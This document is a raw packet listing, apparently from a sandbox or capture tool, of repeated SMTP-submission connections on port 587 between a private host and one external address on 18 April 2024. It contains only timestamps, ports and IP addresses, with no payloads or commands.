Apr 18, 2024 18:28:17.369366884 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.369410992 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.370683908 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.370709896 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.477420092 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.477446079 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.786040068 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.786068916 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.786083937 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.786099911 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.786122084 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.786142111 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.787221909 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.787292957 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.787302971 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.787343025 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.787360907 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.787377119 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.787393093 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:17.787410021 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.787424088 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:17.787455082 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:18.201086998 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.201775074 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.201802015 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.201817036 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.201833010 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.201849937 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.201865911 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.202117920 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:18.202148914 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.202166080 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.202183008 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.202225924 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:18.202255964 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:18.265983105 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.358700037 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:18.551747084 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.551774979 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.551789999 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.551805973 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.551906109 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.551979065 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552031994 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552145004 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552186012 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552263021 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552331924 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552393913 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:18.552474022 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.092014074 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:19.092255116 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:19.092255116 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:19.092268944 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:19.092289925 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:19.505646944 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.505697966 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.505734921 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.505769014 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.505801916 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.505918026 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.505975962 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.506047964 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.506233931 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.506378889 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.506412029 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.506443024 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:19.506536007 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:20.269702911 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:20.362395048 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.013196945 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.013299942 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.343928099 CEST	587	49754	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:22.344489098 CEST	49754	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.374301910 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.392174959 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:22.392518997 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.393810034 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.711138010 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:22.711263895 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:22.743928909 CEST	587	49753	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:22.744316101 CEST	49753	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:23.357388973 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:23.357575893 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:23.674895048 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:23.675051928 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:23.993309021 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:23.993779898 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:24.322262049 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:24.322328091 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:24.322366953 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:24.322432041 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:24.326389074 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:24.643652916 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:24.646378994 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:24.963815928 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:24.966566086 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:25.284333944 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:25.284580946 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:25.620721102 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:25.620975971 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:25.938343048 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:25.938623905 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.291407108 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.291645050 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.608575106 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.609023094 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.609082937 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.609082937 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.609143019 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.610441923 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.925949097 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.926007032 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.926040888 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.926076889 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.926124096 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.926383018 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.927001953 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927035093 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927067041 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927098989 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927122116 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.927165985 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927215099 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.927287102 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927323103 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:26.927392006 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:26.927944899 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.243068933 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243158102 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243241072 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.243726969 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243761063 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243783951 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.243834972 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.243887901 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243921995 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243954897 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243985891 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.243992090 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.244029045 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.244060040 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.244077921 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244131088 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244199991 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.244204044 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244281054 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244349003 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.244353056 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244427919 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244502068 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.244541883 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.244595051 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.563090086 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563134909 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563201904 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.563312054 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563368082 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.563451052 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563505888 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:27.563610077 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563749075 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563779116 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563811064 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563843012 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563915968 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.563946962 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564059019 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564090014 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564138889 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564213991 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564244986 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564387083 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564420938 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564451933 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564483881 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564515114 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564546108 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564575911 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564766884 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564800978 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564892054 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.564924002 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.565022945 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.565164089 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.880139112 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.880208969 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.880278111 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.880626917 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:27.880724907 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:28.707408905 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:28.764945030 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:35.908790112 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:36.326667070 CEST	587	49757	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:36.327547073 CEST	49757	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:36.332513094 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:36.687241077 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:36.688631058 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:37.372211933 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:37.372344017 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:37.719393969 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:37.719537020 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:38.066613913 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:38.067024946 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:38.431665897 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:38.431730032 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:38.431770086 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:38.431940079 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:38.433083057 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:38.783917904 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:38.784873962 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.100013018 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.136733055 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:39.137021065 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.417515993 CEST	587	49759	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:39.417889118 CEST	49759	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.419476986 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.494851112 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:39.495074034 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.782294989 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:39.782510042 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:39.894246101 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:40.036748886 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:40.036952972 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:40.387183905 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:40.387378931 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:40.387582064 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:40.747987032 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:40.748281002 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:40.817111969 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:40.817243099 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.095593929 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.095957041 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.096057892 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.096118927 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.096193075 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.097775936 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.265181065 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.265366077 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.443057060 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.443110943 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.443147898 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.444461107 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.444497108 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.444566011 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.444653034 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.577460051 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.613657951 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.613814116 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:41.926016092 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.970258951 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:41.970738888 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.077460051 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.286420107 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.342927933 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.342978001 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.343017101 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.343092918 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.346404076 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.432874918 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.432959080 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.433130026 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.701648951 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.704253912 CEST	587	49758	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.705164909 CEST	49758	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.705852032 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.712011099 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:42.782738924 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.782779932 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:42.783045053 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.050937891 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.051428080 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.071630955 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.071914911 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.127005100 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.127062082 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.127082109 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.127099037 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.127126932 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.128580093 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.405625105 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.405797005 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.437438965 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.437829971 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.473913908 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.473973036 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.473989964 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.474010944 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.474044085 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.475203037 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.754708052 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.754901886 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.820400953 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:43.820621967 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:43.821281910 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.077455044 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.172009945 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.172233105 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.423460007 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.423569918 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.532633066 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.555866957 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.556086063 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.657258034 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.657341957 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.770200968 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.770282984 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.874325991 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:44.887641907 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:44.888035059 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.061842918 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.117129087 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.117230892 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.117319107 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.221558094 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.233062983 CEST	587	49761	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.233135939 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.236213923 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.236259937 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.236296892 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.236362934 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.238075018 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.464195967 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.464222908 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.464319944 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.562278032 CEST	49761	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.579195976 CEST	587	49762	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.580127001 CEST	49762	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.811664104 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.811690092 CEST	587	49760	94.100.26.91	192.168.2.4
Apr 18, 2024 18:28:45.811747074 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.811747074 CEST	49760	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:28:45.920464993 CEST	587	49761	94.100.26.91	192.168.2.4
